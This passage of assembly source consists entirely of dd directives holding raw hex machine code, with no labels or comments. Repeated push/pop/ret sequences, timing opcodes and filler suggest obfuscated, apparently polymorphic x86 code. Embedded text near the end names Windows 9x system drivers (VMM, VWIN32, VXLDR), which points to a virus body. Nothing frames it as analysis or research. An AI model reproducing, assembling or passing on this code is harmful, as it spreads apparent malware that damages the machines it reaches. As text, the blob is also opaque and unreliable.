		dd 0FC07D30Ch, 8F0FE0FFh, 6, 0F45B589h,	858B07D3h, 7D300B9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FDC35141h
		dd 0EA8B5DEFh, 29A418B1h, 0D32529B5h, 11B50107h, 3907D31Ah
		dd 0F042444h, 7F85h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0DB0771DAh, 29603457h
		dd 0D30111BDh, 9606107h, 0D3061DB5h, 880F6007h,	0
		dd 11E8h, 107EA600h, 5538BCB6h,	3A604BCBh, 8B7A489Ch, 615F13F9h
		dd 5085C761h, 107DC03h,	0E9000000h, 0Bh, 0C120698Eh, 0B111A38Ch
		dd 0E9487115h, 10h, 0B82A8604h,	0D8F588F5h, 5611E72h, 78F8466Bh
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 10E9032Ah, 0F000000h, 68Fh, 0DD9D2900h
		dd 7D319h, 0B8000000h, 1, 53A8587h, 0C00B07DCh,	0B5FFF675h
		dd 7D318D1h, 348858Fh, 206A07DCh, 95FFFF6Ah, 7D31955h
		dd 128DBD83h, 740007D3h, 0FF006A08h, 0D3301995h, 0A1BD8307h
		dd 107D31Bh, 80680D74h,	6A000000h, 5595FFFFh, 0F907D319h
		dd 1F219D09h, 0B807D3h,	0F000000h, 189h, 0B529FC00h, 7D316F5h
		dd 2824548Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	62C35545h, 9EBB5C54h, 6E9h, 255AF600h, 89190822h
		dd 0D31BD185h, 71BD8907h, 0BE07D324h, 3Ch, 2F758589h, 740307D3h
		dd 66FC2424h, 31BD89ADh, 307D30Bh, 6A242444h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 4999C357h, 3CF4B485h, 89066A87h, 0D333E9B5h,	8D0F9007h
		dd 14h,	0E800Fh, 9E90000h, 46000000h, 26B9DFC3h, 0D689A1D3h
		dd 8B666050h, 4CB966DFh, 0F906177h, 0D8Ch, 8E900h, 0E1F50000h
		dd 71234FCh, 0B5892222h, 7D31205h, 0E978408Bh, 8, 5F28CC7Fh
		dd 0ED8D9FA6h, 50BD83F5h, 7DC03h, 17D850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0F90E9C3h, 198Ch, 61606000h,	10E9h, 0F4CC6B00h, 928E9194h
		dd 0D24AE4F8h, 2A1CBD03h, 50506156h, 0E9525052h, 9, 0FFEA5113h
		dd 66C989CAh, 60310F4Ah, 0F585A61h, 0FE931h, 2F3B0000h
		dd 6CBB1A85h, 80141FCEh, 0A80D5319h, 90585A68h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 2BC35646h, 448BF9EDh
		dd 60602C24h, 2061BD8Bh, 9D8B07D3h, 7D308C1h, 10E961h
		dd 68D80000h, 0FEEDD312h, 752260E3h, 7EA38339h,	0F610C0Bh
		dd 682h, 1950900h, 9007D30Eh, 138C0Fh, 820F0000h, 0Dh
		dd 8E9h, 5A908900h, 2F27FAFFh, 52505071h, 0BE9h, 748D8400h
		dd 7216D044h, 538E009Ch, 9E9310Fh, 0D5000000h, 154011D0h
		dd 49A7ADBAh, 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0CE83C356h,	925579A4h
		dd 0D58529EDh, 8D07D31Bh, 0DBCFD585h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 6AD0FFCDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 118C353h, 0F8987362h, 6058EE4Ah
		dd 38B0FF8h, 0F000000h,	361F7B7h, 6A282444h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 60A2C355h, 916AB966h, 12E9h,	0C28BF500h, 0E601B400h
		dd 91559EE0h, 10915EDDh, 611B01C3h, 6870F60h, 89000000h
		dd 0D3315185h, 0B1F08107h, 611C376Ch, 6A18408Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 3A27C350h, 0C42FD469h, 52006A40h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 1594D827h
		dd 57193CE6h, 60F84ED2h, 1435B58Bh, 8D0907D3h, 7D31AA1h
		dd 4C858961h, 6A07DC03h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0CC2FC351h,	6A5878h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 946B63C3h, 999C219Eh, 0FC78D7A1h, 78708BF5h,	1CC683FCh
		dd 218A0Fh, 0E9600000h,	7, 7FDA63E6h, 0E9D31AADh, 0Eh
		dd 0AF4DA9BAh, 0F557E294h, 939EF62Dh, 0F961E061h, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 81A735F3h, 95891D21h, 7D3301Dh, 24247C81h, 10000000h
		dd 0E1870Fh, 0BD890000h, 7D31ED9h, 12820F50h, 50000000h
		dd 0F525052h, 0F585A31h, 0F525031h, 5A585A31h, 24048958h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0F9C35343h
		dd 576091FAh, 58D38B66h, 61CF8B66h, 2824448Bh, 0EE9h, 0B911DB00h
		dd 0B0635D0h, 0D42A0A74h, 9061CE16h, 0C890Fh, 850F0000h
		dd 6, 310F5250h, 0F50585Ah, 0C8Eh, 6810F00h, 50000000h
		dd 5A310F52h, 6A9058h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 896011C3h, 0D31D89BDh, 14890F07h
		dd 0E9000000h, 0Fh, 26E344A5h, 32F6A955h, 6F070595h, 61ABF236h
		dd 2D198589h, 858D07D3h, 7DBCFD5h, 0FD0FFF8h, 688h, 0D98D2900h
		dd 9607D30Eh, 0EE9h, 39570600h,	0A5190ABDh, 994116D1h
		dd 38FCE5Ch, 6A242474h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0E660C351h,	63DA751h
		dd 559529F5h, 8D07D30Ah, 0D33321BDh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 9D89E3C0h
		dd 7D30B2Dh, 0B50160ADh, 7D3301Dh, 0FA99C781h, 81614C0Fh
		dd 24247Ch, 0F100000h, 0EF87h, 198F0F00h, 0F000000h, 1386h
		dd 0EE900h, 61480000h, 26A7348Fh, 55DBFD61h, 0FCF0450Ch
		dd 8F0F6050h, 5, 9DDC99BEh, 66525068h, 310FCB8Bh, 5AC38B66h
		dd 4896158h, 6820F24h, 89000000h, 0D30EDDB5h, 24448B07h
		dd 50006A28h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 8D0F900Ch, 1Eh, 188F0Fh,	13E90000h, 20000000h
		dd 7D2ECFECh, 4F02A7A0h, 0A796A1B6h, 82AF4B68h,	5050BED5h
		dd 6850F52h, 0F000000h,	8Ch, 60310F00h,	5F576160h, 90585A61h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 93C35747h
		dd 0F667DC8Eh, 8529FC30h, 7D314D1h, 0CFD5858Dh,	0B58907DBh
		dd 7D30219h, 0DE9D0FFh,	0E8000000h, 0D531D0B5h,	9A17492Bh
		dd 96F615A4h, 24244403h, 308DB589h, 6AAB07D3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 7A5AC353h, 0B0F6E785h, 59AE92BCh, 0FA81F5h, 0F000100h
		dd 7C982h, 0E38A6000h, 74F18166h, 0BD8D616Ah, 7D31589h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6DC35040h
		dd 0E4EA94D7h, 0BFCFE7Ch, 85B960BAh, 0B8339DC2h, 728B09D0h
		dd 6AAD61h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 981A50C3h, 14D0D2F9h, 0AE993h, 32C70000h
		dd 694DEBDCh, 0D8A93F25h, 24247C81h, 10000000h,	0A2870Fh
		dd 8D290000h, 7D32D2Dh,	0D78B6090h, 8E9h, 0AC643C00h, 7A57F1A8h
		dd 50506190h, 5E952h, 5B170000h, 0FD891D6h, 50525031h
		dd 5A310F52h, 0F310F58h, 80h, 5A585A00h, 95899058h, 7D30099h
		dd 2824448Bh, 0BE6090F8h, 68AAA657h, 2820Fh, 5B530000h
		dd 8A605061h, 0C28B66CAh, 51609061h, 8B5BF18Bh,	0D330E9B5h
		dd 858D6107h, 7DBCFD5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0A7C35343h, 229DFC98h, 8B58589h, 0D0FF07D3h
		dd 85852960h, 6107D334h, 24244403h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0EEC35040h,	575B468Ch, 8D319EB4h
		dd 7D32751h, 15810F90h,	0E9000000h, 10h, 0BEE73D4Eh, 43840C5Eh
		dd 84E1AD24h, 1E77AA86h, 60525050h, 830Fh, 8A0F0000h, 0
		dd 60310F61h, 0FA1931BAh, 9DB9665Dh, 585A618Ah,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 14E907h, 81970000h, 4E41E5B1h, 0E19B916Bh, 415BC8AAh
		dd 0AE3C4DE4h, 8E0FA263h, 1, 6AABF8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 1492D2C3h
		dd 29AB0F55h, 957EE23h,	0D31FFD85h, 99BD8D07h, 6A07D331h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8922C353h, 0D3134585h, 6AAD07h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 37E7ACC3h
		dd 247C81ECh, 28h, 1F870F10h, 0F8000001h, 8860F50h, 0F000000h
		dd 28Fh, 89616000h, 6A2404h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 190424h, 55450000h, 5A27BFC3h, 0E979947Ch
		dd 0Bh,	273D0EE0h, 6D7F9AE8h, 0E9559D01h, 0Eh, 51C64572h
		dd 8A60FB07h, 1CE9D09Dh, 448B3496h, 6A2C24h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4A14B9C3h
		dd 5A3A2E62h, 0F9D7D491h, 0FE990h, 0B80B0000h, 0DC5A87ECh
		dd 0CFF2D273h, 936EA5D4h, 860F5031h, 7,	66616060h, 9061CB8Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 14C35545h
		dd 0C522B08h, 0E5B50978h, 8D07D301h, 0DBCFD585h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 6E785ED2h, 0E820Fh, 9E90000h, 0F4000000h, 18B9092Ch
		dd 5EF0771Ch, 8B60D0FFh, 0D307BDB5h, 0ED8D3107h, 6107D31Bh
		dd 5E9h, 0F31BD100h, 44037631h,	0EE92824h, 0A0000000h
		dd 0C6DA043h, 0BCD9C67Dh, 33B7FD65h, 6AABE6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0F67260C3h
		dd 5EDCB955h, 34C8DFFh,	0BD8307DCh, 7DC034Ch, 330A7500h
		dd 3B58DC0h, 0FF07DC13h, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 0DBCFD585h, 3D0FF07h, 97282444h
		dd 858ADF8Bh, 7DC0348h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 1BD185FFh
		dd 5DE907D3h, 5EFFFFFFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0F9C35343h, 84DC6535h, 59850913h, 8907D326h
		dd 0D307B195h, 0D1858B07h, 6A07D31Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B51FC355h
		dd 0BD89B57Dh, 7D30EE9h, 24218529h, 0E0D107D3h,	998503F8h
		dd 0F07D331h, 0C84h, 7E900h, 50B10000h,	49F6DE0Ah, 0BEF4h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 5BCE70C3h, 4E0E335Fh, 6060F9DAh, 2B1B58Bh
		dd 858B07D3h, 7D30B1Dh,	0B98D8961h, 6107D313h, 0D59D8996h
		dd 6607D326h, 3D8D89ADh, 6007D326h, 29DE8B66h, 0D32765BDh
		dd 0E0C16107h, 50006A02h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0FEA30378h, 0B6A744D9h
		dd 606085C9h, 29318D89h, 852907D3h, 7D32591h, 89958961h
		dd 6107D31Bh, 0BE66F860h, 3611897h, 0D3332185h,	50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 68C60A68h, 81666060h, 80A41EE9h, 96614FE7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A4C35545h, 0C921F5C3h
		dd 0ADF552CEh, 29D99D89h, 11E907D3h, 4D000000h,	0B1D5D7F4h
		dd 7AF66191h, 0BEBCFC29h, 71FC4CC5h, 24247C81h,	10000000h
		dd 0EC870Fh, 840F0000h,	1, 0C1B501F9h, 9007D300h, 4800Fh
		dd 57600000h, 6050615Ah, 0BE95250h, 70000000h, 0B6F5A635h
		dd 233E338Fh, 310FD5D5h, 310F5250h, 585A585Ah, 28D0Fh
		dd 8CB30000h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0C63B63C3h, 448BFC7Fh, 6A2824h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 899934C3h, 317867FEh, 897778CDh, 0D327219Dh,	7860F07h
		dd 0F000000h, 181h, 0E950FC00h,	0Eh, 0BD522257h, 1E72695h
		dd 557A8A57h, 4898E95h,	58D8924h, 8D07D31Ah, 0DBCFD585h
		dd 5D9D8907h, 0FF07D315h, 57006AD0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 606E9C20h
		dd 5B5252F5h, 4403615Ah, 6A2424h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 94D76DC3h, 0FE7CE4EAh
		dd 8E0F60FCh, 19h, 13E8h, 67CA4500h, 62EC2544h,	4756C630h
		dd 2C013A8Fh, 23B06384h, 19850958h, 6107D32Bh, 1C244489h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 19C35646h
		dd 60B42056h, 0E8C18B66h, 13h, 0C7B338BAh, 60A8B530h, 0EA63B6B1h
		dd 8E22FBB9h, 6621545Dh, 5A089CBBh, 0D185C661h,	7D318h
		dd 53A85C7h, 7DCh, 85C70000h, 7DC0350h,	0
		dd 10E9h, 3D509A00h, 319BC149h,	0B224728Eh, 4D2ABD19h
		dd 6E932h, 9BFD0000h, 0E250994Dh, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E92DD886h
		dd 5, 642ABA40h, 8C2C2h, 3279B589h, 858B07D3h, 7D33321h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5CC35242h
		dd 6904A4ABh, 1345BD29h, 6A4A07D3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0AF0CC352h
		dd 0C3715E3Dh, 316043B0h, 0D307898Dh, 2820F07h,	0B4000000h
		dd 0D26B61E5h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 5E1BB639h, 0E9C203C7h
		dd 6, 0ECA8E169h, 0E9967497h, 13h, 5E847995h, 31F0B0FAh
		dd 8866E7F5h, 6B50588Ch, 0AD3C7FE3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 66C35747h, 36C0BAB6h, 539F8C5Dh
		dd 6050607Bh, 0B5235F61h, 7D316A9h, 247C8161h, 24h, 0F8870F10h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 3353C357h, 0D74365A2h,	69BD3360h
		dd 0F07D32Fh, 0B82h, 5E800h, 0FCB70000h, 58BAA1B2h, 0F50F561h
		dd 1784h, 12E900h, 0FE6B0000h, 6F25D9D1h, 76DB08A4h, 0EF37607Eh
		dd 7CEEE6D7h, 0E9240489h, 6, 0D6B31920h, 448BECD9h, 81602824h
		dd 0C62DECF3h, 75BD8B54h, 6107D31Ch, 10E950h, 2C170000h
		dd 37D00BC2h, 0E769FF5Fh, 52360F2Ah, 489FC69h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 25FFCB59h, 3C9573F5h, 6660FCD6h, 665DCDBAh, 6926D181h
		dd 0D5858D61h, 6007DBCFh, 89D1CD80h, 0D31CE58Dh, 0D0FF6107h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 7C35343h
		dd 66869841h, 0E9955E39h, 0FFFFFD1Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 36C35040h, 18559FBEh, 0C800F08h
		dd 0F000000h, 68Eh, 6D8D0100h, 8907D31Bh, 0D301D9B5h, 5C858D07h
		dd 2907DC19h, 0D32D41B5h, 0CF816007h, 2238B2E0h, 52505061h
		dd 501DB760h, 310F615Eh, 68C0Fh, 52500000h, 585A310Fh
		dd 489585Ah, 18D0F24h, 0FC000000h, 35FF64h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 5504C356h, 61BD89FFh, 8B07D312h, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0FE3BFBC3h, 0C4F4FC21h, 0E8604C82h, 10h, 41C0DB02h
		dd 65698DE3h, 52FFC2D8h, 54C84DB8h, 57595E51h, 5FC88B66h
		dd 8589F861h, 7D31281h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 31C35343h, 2918D31h, 0B86007D3h, 5CC436E7h
		dd 6461D68Bh, 2589h, 85290000h,	7D332C1h, 1735858Dh, 820F07DCh
		dd 1, 16089F8h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0BAC35545h, 0AE960h, 0DF3A0000h, 1BCB8596h, 9BADA61Dh
		dd 870F53h, 5B000000h, 284E961h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9D2981C3h
		dd 7D3098Dh, 0E8DB8Bh, 5D000000h, 172EED81h, 9CBC07DCh
		dd 830012FFh, 0D31BA1BDh, 18740007h, 347D858Bh,	0C607D3h
		dd 0DD858B00h, 0C607D31Ah, 95FF0000h, 7D300FDh,	54B5FF60h
		dd 8D07DBFFh, 0DBFF5885h, 858D5007h, 7DC0150h, 195FF50h
		dd 8307D30Fh, 6A610CC4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F6FC352h, 18Ch, 8D31F900h
		dd 7D31851h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0C0C35141h, 8CAFF509h, 0F9A2D51h, 685h,	69852900h
		dd 8D07D301h, 0DC0150B5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 13CAE9Fh, 546BA3DEh
		dd 0AE960h, 0C10A0000h,	3D4F6FD6h, 30B2053Eh, 2969BD8Bh
		dd 16107D3h, 0D3240D85h, 39BD8D07h, 6007D321h, 17DB589h
		dd 8D8B07D3h, 7D32D25h,	3E8061h, 36840Fh, 95310000h, 7D31B49h
		dd 55006AA4h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 89E2868Ch, 0D31C39BDh, 0FFC7E907h, 0BD29FFFFh
		dd 7D31FE9h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 61641FC3h, 95095553h, 7D32435h
		dd 50006AAAh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 97D4D153h, 7B8h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 1E5DE860h
		dd 226970FAh, 0CE9h, 5119DE00h,	5C736670h, 80DC81A8h, 5185C711h
		dd 107D312h, 9000000h, 0D32E11BDh, 0B18D8D07h, 6A07D34Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 60C9C351h, 830FEE8Ah, 6, 34B1B589h, 0FF6107D3h
		dd 52006AE1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0BE7A2DB1h, 0F2816660h, 8D2370F4h, 7D326B1h
		dd 245C8B61h, 0E8550Ch,	5D000000h, 1966ED81h, 838B07DCh
		dd 0B8h, 0FF548589h, 858D07DBh,	7DC1727h, 0B88389h, 335D0000h
		dd 830FC3C0h, 1, 52006AF5h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E92F972Dh, 11h, 938F1667h
		dd 52E8740h, 36C52822h,	96BDAD08h, 6A608Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 3D57FAC3h
		dd 658A5876h, 0F660EFBh, 785h, 18D0F00h, 0F9000000h, 1C23858Dh
		dd 6A07DCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0A1D0C5C3h, 9B9F84E8h, 2131B529h,	0F5007D3h
		dd 2080h, 50525000h, 5A310F52h,	0E9310F58h, 0Fh, 57A4CCBBh
		dd 5B302DB7h, 135865E9h, 5A5FC125h, 24048958h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 6F2A470Bh
		dd 0EE9h, 7C52FB00h, 49F9312Ch,	0A7B781A5h, 89AFCF73h
		dd 0D32EA1BDh, 7D8D0107h, 6407D306h, 35FFh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F7F42DC3h, 0F5D10209h, 647ECD87h, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0D90D6AC3h, 26999BE9h, 0C830Fh, 880F0000h, 6, 890Fh
		dd 858D0000h, 7DC1CE4h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0F9C35747h, 7C14DBB6h, 813EA10Eh, 65B58B60h
		dd 0F07D327h, 8961F1B7h, 85290160h, 7D30DEDh, 18D185C6h
		dd 6A4F07D3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 9BDEC350h, 83F48E68h, 0A880FB8h
		dd 0E9000000h
		dd 5, 0AF3642A7h, 24348187h, 464B80A4h,	8E9h, 0C819B700h
		dd 0C8E0A0E0h, 0F1B5FF91h, 6A07D30Dh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F77BC357h
		dd 0ACF015D6h, 29F25F14h, 0D331C99Dh, 6A858D07h, 0F807DC03h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 612AB9C3h, 1A9A95D9h, 68A0FDAh, 89000000h
		dd 0D3132585h, 0F7E907h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0CD634FC3h, 0E957ED02h
		dd 10h,	148DA412h, 36FBEDBEh, 647C4AB6h, 4D2F93ECh, 0C245C8Bh
		dd 0E855h, 815D0000h, 0DC1C2DEDh, 65858B07h, 8907D301h
		dd 0D30DF185h, 0B9858B07h, 8907D300h, 0D315AD85h, 91858B07h
		dd 8907D31Ah, 0D307A185h, 0D185C607h, 7D318h, 53A85C7h
		dd 7DCh, 858D0000h, 7DC1CE4h, 0B88389h,	335D0000h, 6AC3C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0AC908BC3h, 1EBB6034h, 0E91F8938h, 0Dh, 7DE47179h, 0BB87C32Eh
		dd 0C0868A5Bh, 6A6102h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0E9EBFDC3h, 11h,	2AE3680Fh, 6CB196F3h
		dd 58F8267Ch, 0F21F3CACh, 0FF74BCDAh, 6A0012h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F837E3C3h, 14E9D3h,	387A0000h, 547BCF3h, 0BAF48AF1h
		dd 0CF297F76h, 52528905h, 8960828Dh, 0D32E9585h, 61BDB007h
		dd 58F64h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F94C351h, 0C83h, 860F6000h, 0
		dd 6F5BBB66h, 4C48361h,	6E9h, 0D629C400h, 610D0F47h, 464934EBh
		dd 52474D53h, 4B562020h, 20202044h, 4D562020h, 2020204Dh
		dd 57562020h, 32334E49h, 58562020h, 52444C44h, 2020h, 2	dup(0)
		dd 47E90000h, 6A000007h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0D7ACC352h,	0FF49E35Dh
		dd 0C68768D3h, 1870Fh, 60FC0000h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0DC35242h, 0FE9781Dh, 0BA000000h
		dd 0F80A728Ch, 0EA5DDCACh, 0F1680D93h, 85C7D217h, 7DC1D99h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 34C35040h
		dd 8BA4F7A9h, 52006AC6h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0BAE847E9h, 0B70FE402h, 0B70F60D8h
		dd 0A820FC8h, 0E9000000h, 5, 9CC110FFh,	0E8C16139h, 0C166F910h
		dd 6A08C8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 5C8487C3h, 5BBD10CBh, 8D0F4524h, 0Ch, 0E8816660h
		dd 0DDB8E281h, 615866D2h, 15800Fh, 8B0F0000h, 0Fh, 0AE9h
		dd 23D82C00h, 0CB94468Fh, 899C4F68h, 0DC1D9D85h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 2DD35230h, 66730D34h, 6A08CBC1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60F2C352h
		dd 0DE9h, 0C73EEF00h, 7291D055h, 0BBCE905Dh, 5E8D2F0h
		dd 61000000h, 0CA9C5C27h, 14E8h, 0D8301400h, 4335D27h
		dd 82E4B04Eh, 1F9CFF2Ch, 0A7D8B012h, 615A5A0Ah,	0F40FB83h
		dd 2685h, 8DF8FC00h, 0DC1D71BDh, 8B666007h, 96E961F0h
		dd 0E9000001h, 0Fh, 7EFA84A5h, 66BD3D1Ch, 0F9CA4FE6h, 8332DA3Ch
		dd 850F0DFBh, 5Ah, 0CE9h, 0A7118100h, 0DBB13F7Dh, 35604CA9h
		dd 0B8536096h, 1EC0E6A3h, 0D6B70F5Ah, 79BD8D61h, 0F07DC1Dh
		dd 0A8Ah, 5E900h, 27890000h, 0E97A1F34h, 141h, 0A800F60h
		dd 0E9000000h, 5, 78B83723h, 830F6138h,	0Ah, 0D88B6660h
		dd 0FE4C85B9h, 0FB83614Ah, 2D850F01h, 0F000000h, 189h
		dd 0B960F800h, 3D067992h, 81BD8D61h, 0F07DC1Dh,	0D81h
		dd 8E900h, 0A6220000h, 0E92DE624h, 0EAE94B97h, 0F8000000h
		dd 0F2AFB83h, 6985h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 329E8770h, 0E916E28Dh
		dd 0Fh,	4FAA0E77h, 0E78DC94Eh, 0D024888Eh, 0F792D36h, 188h
		dd 0BD8DFC00h, 7DC1D89h, 97E9F5h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 847D6AC3h
		dd 0FB837712h, 7F850F27h, 6A000003h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 8421C355h
		dd 60F86046h, 0EE0ED081h, 5B515827h, 0BD8D6161h, 7DC1D91h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h
